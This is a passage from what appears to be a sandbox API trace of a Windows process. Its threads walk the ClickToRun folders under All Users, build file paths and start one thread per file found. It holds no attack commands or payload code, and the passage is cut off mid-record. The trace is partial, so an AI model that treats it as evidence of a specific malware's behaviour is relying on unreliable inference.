ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Integration", cAlternateFileName="INTEGR~1")) returned 0 [0072.682] FindClose (in: hFindFile=0x3434668 | out: hFindFile=0x3434668) returned 1 [0072.682] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ec0f0) returned 1 [0072.682] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479e98) returned 1 [0072.682] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347d930) returned 1 [0072.682] RtlExitUserThread (Status=0x0) Thread: id = 570 os_tid = 0x1194 [0072.488] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x74) returned 0x33ccaf0 [0072.488] wcscpy (in: _Dest=0x33ccaf0, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases" [0072.488] wcscat (in: _Dest=0x33ccaf0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\" [0072.488] wcscat (in: _Dest=0x33ccaf0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\*") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\*" [0072.488] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33ec358 [0072.488] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\*", lpFindFileData=0x33ec358 | out: lpFindFileData=0x33ec358*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8826bb5f, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0x683c4eba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x683c4eba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x34345e8 [0072.519] wcscmp (_String1=".", _String2=".") returned 0 [0072.519] FindNextFileW (in: hFindFile=0x34345e8, lpFindFileData=0x33ec358 | out: lpFindFileData=0x33ec358*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8826bb5f, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0x683c4eba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x683c4eba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.519] wcscmp (_String1="..", _String2=".") returned 1 [0072.519] wcscmp (_String1="..", _String2="..") returned 0 [0072.519] FindNextFileW (in: hFindFile=0x34345e8, lpFindFileData=0x33ec358 | out: lpFindFileData=0x33ec358*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19bad881, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1a320d06, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1a320d06, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5A65C4D7-3CDF-4BE4-8560-F036D300C13F", cAlternateFileName="5A65C4~1")) returned 1 [0072.519] wcscmp (_String1="5A65C4D7-3CDF-4BE4-8560-F036D300C13F", _String2=".") returned 1 [0072.519] wcscmp (_String1="5A65C4D7-3CDF-4BE4-8560-F036D300C13F", _String2="..") returned 1 [0072.519] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xba) returned 0x3432488 [0072.519] wcscpy (in: _Dest=0x3432488, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases" [0072.519] wcscat (in: _Dest=0x3432488, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\" [0072.520] wcscat (in: _Dest=0x3432488, _Source="5A65C4D7-3CDF-4BE4-8560-F036D300C13F" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F" [0072.633] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3432488, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x674 [0072.634] FindNextFileW (in: hFindFile=0x34345e8, lpFindFileData=0x33ec358 | out: lpFindFileData=0x33ec358*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x1141e67e, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x1141e67e, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="A6A87302-92AE-41F2-AC52-73F5EE18259F", cAlternateFileName="A6A873~1")) returned 1 [0072.634] wcscmp (_String1="A6A87302-92AE-41F2-AC52-73F5EE18259F", _String2=".") returned 1 [0072.634] wcscmp (_String1="A6A87302-92AE-41F2-AC52-73F5EE18259F", _String2="..") returned 1 [0072.634] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xba) returned 0x34326e0 [0072.634] wcscpy (in: _Dest=0x34326e0, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases" [0072.634] wcscat (in: _Dest=0x34326e0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\" [0072.634] wcscat (in: _Dest=0x34326e0, _Source="A6A87302-92AE-41F2-AC52-73F5EE18259F" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F" [0072.634] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x34326e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x854 [0072.635] FindNextFileW (in: hFindFile=0x34345e8, lpFindFileData=0x33ec358 | out: lpFindFileData=0x33ec358*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x1141e67e, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x1141e67e, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="A6A87302-92AE-41F2-AC52-73F5EE18259F", cAlternateFileName="A6A873~1")) returned 0 [0072.635] FindClose (in: hFindFile=0x34345e8 | out: hFindFile=0x34345e8) returned 1 [0072.636] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ec358) returned 1 [0072.636] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ccaf0) returned 1 [0072.636] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479970) returned 1 [0072.636] RtlExitUserThread (Status=0x0) Thread: id = 571 os_tid = 0x1198 [0072.496] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x66) returned 0x347e650 [0072.496] wcscpy (in: _Dest=0x347e650, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\UserData" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\UserData") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\UserData" [0072.496] wcscat (in: _Dest=0x347e650, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\UserData\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\UserData\\" [0072.496] wcscat (in: _Dest=0x347e650, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\UserData\\*") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\UserData\\*" [0072.496] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33ec5c0 [0072.496] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\UserData\\*", lpFindFileData=0x33ec5c0 | out: lpFindFileData=0x33ec5c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845f41a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x845f41a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x845f41a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x34345a8 [0072.496] wcscmp (_String1=".", _String2=".") returned 0 [0072.496] FindNextFileW (in: hFindFile=0x34345a8, lpFindFileData=0x33ec5c0 | out: lpFindFileData=0x33ec5c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845f41a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x845f41a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x845f41a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.497] wcscmp (_String1="..", _String2=".") returned 1 [0072.497] wcscmp (_String1="..", _String2="..") returned 0 [0072.497] FindNextFileW (in: hFindFile=0x34345a8, lpFindFileData=0x33ec5c0 | out: lpFindFileData=0x33ec5c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845f41a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x845f41a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x845f41a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0072.497] FindClose (in: hFindFile=0x34345a8 | out: hFindFile=0x34345a8) returned 1 [0072.497] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ec5c0) returned 1 [0072.497] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347e650) returned 1 [0072.497] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347daf0) returned 1 [0072.497] RtlExitUserThread (Status=0x0) Thread: id = 572 os_tid = 0x119c [0072.498] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa2) returned 0x33c8f68 [0072.498] wcscpy (in: _Dest=0x33c8f68, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0072.498] wcscat (in: _Dest=0x33c8f68, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0072.498] wcscat (in: _Dest=0x33c8f68, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\*") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\*" [0072.498] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33ec5c0 [0072.498] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\*", lpFindFileData=0x33ec5c0 | out: lpFindFileData=0x33ec5c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49bee514, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x3b87bb60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b87bb60, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x34345a8 [0072.500] wcscmp (_String1=".", _String2=".") returned 0 [0072.500] FindNextFileW (in: hFindFile=0x34345a8, lpFindFileData=0x33ec5c0 | out: lpFindFileData=0x33ec5c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49bee514, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x3b87bb60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b87bb60, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.501] wcscmp (_String1="..", _String2=".") returned 1 [0072.501] wcscmp (_String1="..", _String2="..") returned 0 [0072.501] FindNextFileW (in: hFindFile=0x34345a8, lpFindFileData=0x33ec5c0 | out: lpFindFileData=0x33ec5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x437adb83, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x437adb83, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x247ecc35, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x44e23, dwReserved0=0x0, dwReserved1=0x0, cFileName="AirSpace.Etw.man", cAlternateFileName="AIRSPA~1.MAN")) returned 1 [0072.501] wcscmp (_String1="AirSpace.Etw.man", _String2=".") returned 1 [0072.501] wcscmp (_String1="AirSpace.Etw.man", _String2="..") returned 1 [0072.501] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc0) returned 0x34318d0 [0072.501] wcscpy (in: _Dest=0x34318d0, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0072.501] wcscat (in: _Dest=0x34318d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0072.501] wcscat (in: _Dest=0x34318d0, _Source="AirSpace.Etw.man" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\AirSpace.Etw.man") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\AirSpace.Etw.man" [0072.636] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34318d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7d8 [0072.637] FindNextFileW (in: hFindFile=0x34345a8, lpFindFileData=0x33ec5c0 | out: lpFindFileData=0x33ec5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed71c4aa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed71c4aa, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2686ce0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x91f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Access.Access.x-none.msi.16.x-none.xml", cAlternateFileName="C25A45~1.XML")) returned 1 [0072.637] wcscmp (_String1="C2RManifest.Access.Access.x-none.msi.16.x-none.xml", _String2=".") returned 1 [0072.637] wcscmp (_String1="C2RManifest.Access.Access.x-none.msi.16.x-none.xml", _String2="..") returned 1 [0072.637] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x104) returned 0x33fc9c8 [0072.637] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0072.637] wcscat (in: _Dest=0x33fc9c8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0072.637] wcscat (in: _Dest=0x33fc9c8, _Source="C2RManifest.Access.Access.x-none.msi.16.x-none.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml" [0072.637] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33fc9c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x850 [0072.638] FindNextFileW (in: hFindFile=0x34345a8, lpFindFileData=0x33ec5c0 | out: lpFindFileData=0x33ec5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed71c4aa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed71c4aa, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd356d87a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xe71c, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.accessmui.msi.16.en-us.xml", cAlternateFileName="C222C2~1.XML")) returned 1 [0072.638] wcscmp (_String1="C2RManifest.accessmui.msi.16.en-us.xml", _String2=".") returned 1 [0072.638] wcscmp (_String1="C2RManifest.accessmui.msi.16.en-us.xml", _String2="..") returned 1 [0072.638] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xec) returned 0x33e59e0 [0072.638] wcscpy (in: _Dest=0x33e59e0, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0072.638] wcscat (in: _Dest=0x33e59e0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0072.638] wcscat (in: _Dest=0x33e59e0, _Source="C2RManifest.accessmui.msi.16.en-us.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmui.msi.16.en-us.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmui.msi.16.en-us.xml" [0072.638] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e59e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x84c [0072.639] FindNextFileW (in: hFindFile=0x34345a8, lpFindFileData=0x33ec5c0 | out: lpFindFileData=0x33ec5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed71c4aa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed71c4aa, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd31d9ff6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x7fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.accessmuiset.msi.16.en-us.xml", cAlternateFileName="C2FB2E~1.XML")) returned 1 [0072.639] wcscmp (_String1="C2RManifest.accessmuiset.msi.16.en-us.xml", _String2=".") returned 1 [0072.639] wcscmp (_String1="C2RManifest.accessmuiset.msi.16.en-us.xml", _String2="..") returned 1 [0072.639] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xf2) returned 0x33e20c8 [0072.639] wcscpy (in: _Dest=0x33e20c8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0072.639] wcscat (in: _Dest=0x33e20c8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0072.639] wcscat (in: _Dest=0x33e20c8, _Source="C2RManifest.accessmuiset.msi.16.en-us.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmuiset.msi.16.en-us.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmuiset.msi.16.en-us.xml" [0072.639] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e20c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x848 [0072.640] FindNextFileW (in: hFindFile=0x34345a8, lpFindFileData=0x33ec5c0 | out: lpFindFileData=0x33ec5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed6f62ed, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed6f62ed, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd26f9444, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3f14, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml", cAlternateFileName="C210C4~1.XML")) returned 1 [0072.640] wcscmp (_String1="C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml", _String2=".") returned 1 [0072.640] wcscmp (_String1="C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml", _String2="..") returned 1 [0072.640] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xf8) returned 0x341a428 [0072.640] wcscpy (in: _Dest=0x341a428, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0072.640] wcscat (in: _Dest=0x341a428, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0072.640] wcscat (in: _Dest=0x341a428, _Source="C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml" [0072.640] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x341a428, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x844 [0072.641] FindNextFileW (in: hFindFile=0x34345a8, lpFindFileData=0x33ec5c0 | out: lpFindFileData=0x33ec5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed6f62ed, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed6f62ed, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd31415cd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x265a, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.dcfmui.msi.16.en-us.xml", cAlternateFileName="C206B0~1.XML")) returned 1 [0072.641] wcscmp (_String1="C2RManifest.dcfmui.msi.16.en-us.xml", _String2=".") returned 1 [0072.641] wcscmp (_String1="C2RManifest.dcfmui.msi.16.en-us.xml", _String2="..") returned 1 [0072.641] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe6) returned 0x34207d8 [0072.641] wcscpy (in: _Dest=0x34207d8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" [0072.641] wcscat (in: _Dest=0x34207d8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0072.641] wcscat (in: _Dest=0x34207d8, _Source="C2RManifest.dcfmui.msi.16.en-us.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.dcfmui.msi.16.en-us.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.dcfmui.msi.16.en-us.xml" [0072.641] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34207d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x840 [0072.641] FindNextFileW (in: hFindFile=0x34345a8, lpFindFileData=0x33ec5c0 | out: lpFindFileData=0x33ec5c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed611426, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed611426, 